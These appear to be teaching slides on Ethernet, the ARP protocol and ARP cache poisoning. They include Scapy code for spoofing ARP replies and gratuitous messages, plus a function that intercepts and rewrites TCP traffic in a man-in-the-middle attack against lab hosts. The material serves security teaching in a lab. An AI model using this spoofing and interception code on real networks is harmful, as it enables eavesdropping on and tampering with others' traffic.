
ARP Protocol and Attacks

Outline

- **Network Interface**
- **Ethernet frame and MAC header**
- **ARP protocol**
- **ARP cache poisoning attack**
 - Hijacking HTTP using iptables
 - ETTERCAP

NETWORK INTERFACE AND ETHERNET

Network Interface Card (NIC)


- Physical or logical link between computer and network
- Each NIC has a hardware address: MAC address

```
seed@VM:~$ ifconfig
enp0s3: Link encap:Ethernet HWaddr 08:00:27:77:2e:c3
        inet addr:10.0.2.8 Bcast:10.0.2.255 Mask:255.255.255.0
        inet6 addr: fe80::b3ef:2396:2df0:30e0/64 Scope:Link
        UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
        RX packets:43628 errors:0 dropped:0 overruns:0 frame:0
        TX packets:1713262 errors:0 dropped:0 overruns:0 carrier:0
        collisions:0 txqueuelen:1000
        RX bytes:6975999 (6.9 MB)  TX bytes:260652814 (260.6 MB)
```


MAC Addresses

- **Media Access Control** address (also known as link-layer address, Ethernet address, or physical address)
 - Used to address link-layer frames to destination
 - A 48-bit (6-byte) value that is associated with a physical NIC
 - **Example: 1A-2F-BB-76-09-AD**
 - MAC address burned in NIC ROM (sometimes software settable)
 - No two NICs should have the same MAC address
 - **Even though sometimes they do, just make sure they're no on the same network**
 - Unlike and IP address, a MAC address **does NOT change** when a host moves from network to network
 - A host on a network **"listens" to ALL frames** but ignores frames that are not addressed to it
 - Frames that are addressed to a host are passed up to the Network Layer


Packet Flow




Physical and Virtual NIC



a) physical interface



(b) loopback/dummy interface



(c) tun/tap interface

Examples of Virtual NIC


- **Loopback Interface**

```
$ ifconfig lo
lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
    inet 127.0.0.1  netmask 255.0.0.0
    inet6 ::1  prefixlen 128  scopeid 0x10<host>
    loop  txqueuelen 1000  (Local Loopback)
```

- **Dummy Interface (similar to loopback, but with its own IP)**

```
# ip link add dummy1 type dummy
# ip addr add 1.2.3.4/24 dev dummy1
# ip link set dummy1 up
# ifconfig
dummy1: flags=195<UP,BROADCAST,RUNNING,NOARP>  mtu 1500
    inet 1.2.3.4  netmask 255.255.255.0  broadcast 0.0.0.0
    ether 6a:e8:f2:54:88:46  txqueuelen 1000  (Ethernet)
```


Ethernet Frame & MAC Header



Ethernet Frame Example

- ▼ Ethernet II, Src: 08:00:27:84:5e:b9, Dst: 08:00:27:dd:08:88
 - ▶ Destination: 08:00:27:dd:08:88
 - ▶ Source: 08:00:27:84:5e:b9
 - Type: IPv4 (0x0800)
- ▶ Internet Protocol Version 4, Src: 10.0.2.6, Dst: 10.0.2.7
- ▶ Internet Control Message Protocol

0000	08 00 27 dd 08 88 08 00 27 84 5e b9 08 00 45 00	..!.^...E.
0010	00 54 fe a5 40 00 40 01 23 f7 0a 00 02 06 0a 00	.T..@.@. #.....
0020	02 07 08 00 5a fc 0b 05 00 01 dc 8a 31 5e 8d 11Z... ..1^..

Scapy Program

```
$ python3
>>> from scapy.all import *
>>> ls(Ether)
dst          : DestMACField          = (None)
src          : SourceMACField        = (None)
type         : XShortEnumField       = (36864)
```

Promiscuous Mode

- **Ethernet is a broadcast medium**
- **NIC check destination MAC address**
 - mine: accept the frame
 - not mine: discard it
- **Enable promiscuous mode**
 - Will not check destination MAC
 - Take in all the packets on the local network
- **Useful for packet sniffing**

MAC Address Randomization and Privacy

iOS 8 to stymie trackers and marketers with MAC address randomization

When searching for Wi-Fi networks, iOS8 devices can hide their true identities.

by Lee Hutchinson - Jun 9, 2014 10:56am EDT

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Quartz is **reporting a change** to how iOS 8-equipped devices search out Wi-Fi networks with which to connect. The new mobile operating system, which is on track for a release in the fall, gives iOS 8 devices the ability to identify themselves not with their unique burned-in hardware MAC address but rather with a random, software-supplied address instead.




THE ARP PROTOCOL

The ARP Protocol

- **Communication on LAN**
 - Need to use MAC address
 - But we only know the IP address
- **ARP: Address Resolution Protocol**
 - Find MAC from IP

ARP Request/Reply



Send ARP Request: Example 1

ping 10.9.0.6 from 10.9.0.5

```
// On 10.9.0.5
# tcpdump -i eth0 -n
03:10:44.656336 ARP, Request who-has 10.9.0.5 tell 10.9.0.6, ...
03:10:44.656362 ARP, Reply 10.9.0.5 is-at 02:42:0a:09:00:05, ...
03:10:44.656382 IP 10.9.0.6 > 10.9.0.5: ICMP echo request, ...
03:10:44.656392 IP 10.9.0.5 > 10.9.0.6: ICMP echo reply, ...
```


Send ARP Request: Example 2

ping 10.0.2.15 from 10.0.2.4

No.	Time	Source	Destination	Protocol	Length	Info
1	202...	PcsCompu_65:a7:3c	Broadcast	ARP	42	Who has 10.0.2.15? Tell 10.0.2.4
2	202...	PcsCompu_b8:7c:bb	PcsCompu_65:a...	ARP	60	10.0.2.15 is at 08:00:27:b8:7c:bb
3	202...	10.0.2.4	10.0.2.15	ICMP	98	Echo (ping) request id=0x2c30, seq=1/256,
4	202...	10.0.2.15	10.0.2.4	ICMP	98	Echo (ping) reply id=0x2c30, seq=1/256,
5	202...	10.0.2.4	10.0.2.15	ICMP	98	Echo (ping) request id=0x2c30, seq=2/512,
6	202...	10.0.2.15	10.0.2.4	ICMP	98	Echo (ping) reply id=0x2c30, seq=2/512,
7	202...	PcsCompu_b8:7c:bb	PcsCompu_65:a...	ARP	60	Who has 10.0.2.4? Tell 10.0.2.15
8	202...	PcsCompu_65:a7:3c	PcsCompu_b8:7...	ARP	42	10.0.2.4 is at 08:00:27:65:a7:3c

```
▸ Frame 1: 42 bytes on wire (336 bits), 42 bytes captured (336 bits) on interface 0
▾ Ethernet II, Src: PcsCompu_65:a7:3c (08:00:27:65:a7:3c), Dst: Broadcast (ff:ff:ff:ff:ff:ff)
  ▸ Destination: Broadcast (ff:ff:ff:ff:ff:ff)
  ▸ Source: PcsCompu_65:a7:3c (08:00:27:65:a7:3c)
  Type: ARP (0x0806)
▾ Address Resolution Protocol (request)
  Hardware type: Ethernet (1)
  Protocol type: IPv4 (0x0800)
  Hardware size: 6
  Protocol size: 4
  Opcode: request (1)
  Sender MAC address: PcsCompu_65:a7:3c (08:00:27:65:a7:3c)
  Sender IP address: 10.0.2.4
  Target MAC address: 00:00:00_00:00:00 (00:00:00:00:00:00)
  Target IP address: 10.0.2.15
```

ARP Message Format



ARP Class in Scapy

```
>>> ls(ARP)
hwtype      : XShortField          = (1)
ptype       : XShortEnumField     = (2048)
hwlen       : FieldLenField       = (None)
plen        : FieldLenField       = (None)
op          : ShortEnumField      = (1)
hwsrc       : MultipleTypeField   = (None)
psrc        : MultipleTypeField   = (None)
hwdst       : MultipleTypeField   = (None)
pdst        : MultipleTypeField   = (None)
>>> ls(Ether)
dst         : DestMACField        = (None)
src         : SourceMACField      = (None)
type        : XShortEnumField     = (36864)
```

Questions

Different behaviors of the following commands

1. ping 10.9.0.6 (existing, on LAN)
2. ping 10.9.0.99 (non-existing, on LAN)
3. ping 1.2.3.4 (non-existing, not on LAN)
4. ping 8.8.8.8 (existing, on the Internet)

ARP Cache

- Avoid sending too many ARP requests
- ARP caches received information

```
# arp -n          empty cache
# ping 10.9.0.6
PING 10.9.0.6 (10.9.0.6) 56(84) bytes of data.
64 bytes from 10.9.0.6: icmp_seq=1 ttl=64 time=0.138 ms
...
# arp -n
Address      HWtype  HWaddress      Flags Mask  Iface
10.9.0.6     ether   02:42:0a:09:00:06  C           eth0
               ↘ Cached MAC address
```

ARP Cache Poisoning

- **Spoof ARP Messages**
 - Request
 - Reply
 - Gratuitous message
- **Spoofed message might be cached by the victim**
 - Which type of message will be cached depends on OS implementation

Constructing ARP Message

Construct ARP packet

```
#!/usr/bin/python3

from scapy.all import *

E = Ether()
A = ARP()

pkt = E/A
sendp(pkt)
```

Fields of ARP and Ether Class

```
>>> ls(ARP)
hwtype      : XShortField          = (1)
ptype       : XShortEnumField     = (2048)
hwlen       : FieldLenField       = (None)
plen        : FieldLenField       = (None)
op          : ShortEnumField      = (1)
hwsrc       : MultipleTypeField   = (None)
psrc        : MultipleTypeField   = (None)
hwdst       : MultipleTypeField   = (None)
pdst        : MultipleTypeField   = (None)
>>> ls(Ether)
dst         : DestMACField        = (None)
src         : SourceMACField      = (None)
type        : XShortEnumField     = (36864)
```


Spoof ARP Request/Reply: Code Skeleton

```
target_IP    = "10.9.0.5"  
target_MAC   = "02:42:0a:09:00:05"  
  
fake_IP      = "10.9.0.99"  
fake_MAC     = "aa:bb:cc:dd:ee:ff"
```

```
# Construct the Ether header
```

```
ether = Ether()  
ether.dst =  
ether.src =
```

```
# Construct the ARP packet
```

```
arp = ARP()
```

```
arp.hwsrc =  
arp.psrc =
```


```
arp.hwdst =  
arp.pdst =
```

```
arp.op = 1
```

```
frame = ether/arp  
sendp(frame)
```

victim: **10.9.0.5**

goal: map **10.9.0.99** to **aa:bb:cc:dd:ee:ff**



Spoofing Gratuitous Message

- **Special type of ARP message**
- **Source IP = Destination IP**
- **Destination MAC = broadcast address (ff:ff:ff:ff:ff:ff)**

```
IP_fake = "10.9.0.99"
ether = Ether(src="aa:bb:cc:dd:ee:ff", dst="ff:ff:ff:ff:ff:ff")
arp = ARP(psrc=IP_fake, hwsrc="aa:bb:cc:dd:ee:ff",
          pdst=IP_fake, hwdst="ff:ff:ff:ff:ff:ff")
arp.op = 2
```

Note: ARP Becomes “Stateful”


```
$ ping 10.0.5.99
PING 10.0.5.99 (10.0.5.99) 56(84) bytes of data.
^C
--- 10.0.5.99 ping statistics ---
3 packets transmitted, 0 received, 100% packet loss
```

```
$ arp -n
```

Address	HWtype	HWaddress
10.0.5.3	ether	08:00:27:23:30:c5
10.0.5.99		(incomplete)
10.0.5.1	ether	52:54:00:12:35:00

MAN-IN-THE-MIDDLE ATTACK

Man-In-The-Middle Attack



Use ARP Cache Poisoning to Redirect Packets

- **Poison A's ARP cache, so B's IP is mapped to M's MAC.**
- **Poison B's ARP cache, so A's IP is mapped to M's MAC.**

```
// On 10.9.0.5      Machine A  
# arp -n  
Address      HWtype  HWaddress      Flags Mask  Iface  
10.9.0.105   ether   02:42:0a:09:00:69  C          eth0  
10.9.0.6     ether   02:42:0a:09:00:69  C          eth0  
                ↖ This is M's MAC  
  
// On 10.9.0.6      Machine B  
# arp -n  
Address      HWtype  HWaddress      Flags Mask  Iface  
10.9.0.105   ether   02:42:0a:09:00:69  C          eth0  
10.9.0.5     ether   02:42:0a:09:00:69  C          eth0  
                ↖ This is M's MAC
```

Forward Packets without Modification

- **Enable/Disable IP Forwarding**

```
sysctl net.ipv4.ip_forward=1
```

```
sysctl net.ipv4.ip_forward=0
```

Demo

- With IP forwarding on

```
root@719962c53f8a:/# ping 10.9.0.6
PING 10.9.0.6 (10.9.0.6) 56(84) bytes of data.
64 bytes from 10.9.0.6: icmp_seq=1 ttl=63 time=0.102 ms
From 10.9.0.105: icmp_seq=2 Redirect Host(New nexthop: 10.9.0.6)
64 bytes from 10.9.0.6: icmp_seq=2 ttl=63 time=0.073 ms
From 10.9.0.105: icmp_seq=3 Redirect Host(New nexthop: 10.9.0.6)
64 bytes from 10.9.0.6: icmp_seq=3 ttl=63 time=0.090 ms
```


MITM Step 1: Intercept Packets

- **Disable IP Forwarding**

- `sysctl net.ipv4.ip_forward=0`

- **How to Get the packet on M?**

MITM Step 2: Get the Intercepted Packets

- **Question:** which filter should we use, f1 or f2?

```
IP_A = "10.9.0.5"
```

```
IP_B = "10.9.0.6"
```

```
MAC_A = "02:42:0a:09:00:05"
```

```
MAC_B = "02:42:0a:09:00:06"
```

```
f1 = 'tcp and (ether src ' + MAC_A + ' or ' + \  
      'ether src ' + MAC_B + ' )'
```

```
f2 = 'tcp and (src host ' + IP_A + ' or ' + \  
      'dst host ' + IP_B + ' )'
```

```
pkt = sniff(iface='eth0', filter=???, prn=spooof_pkt)
```

MITM Step 3: Modify Packets

```
def spoof_pkt(pkt):
    if pkt[IP].src == IP_A and pkt[IP].dst == IP_B:
        newpkt = IP(bytes(pkt[IP]))
        del(newpkt.chksum)
        del(newpkt[TCP].payload)
        del(newpkt[TCP].chksum)

        if pkt[TCP].payload:
            data = pkt[TCP].payload.load
            newdata = re.sub(r'[0-9a-zA-Z]', r'A', data.decode())
            send(newpkt/newdata)
        else:
            send(newpkt)

    elif pkt[IP].src == IP_B and pkt[IP].dst == IP_A:
        newpkt = IP(bytes(pkt[IP]))
        del(newpkt.chksum)
        del(newpkt[TCP].chksum)
        send(newpkt)
```

Question

Disclaimer: This is fiction!

In the 2020 State of Union address, President Trump said the following: "In 2019, Russian hackers launched many ARP cache-poisoning attacks from Russia against the computer networks inside the White House, but, as I can proudly tell you, under my leadership, my staff has successfully defeated all of these attacks ." Then he paused, looking at the audience, waiting for applause.

Do you applaud or not?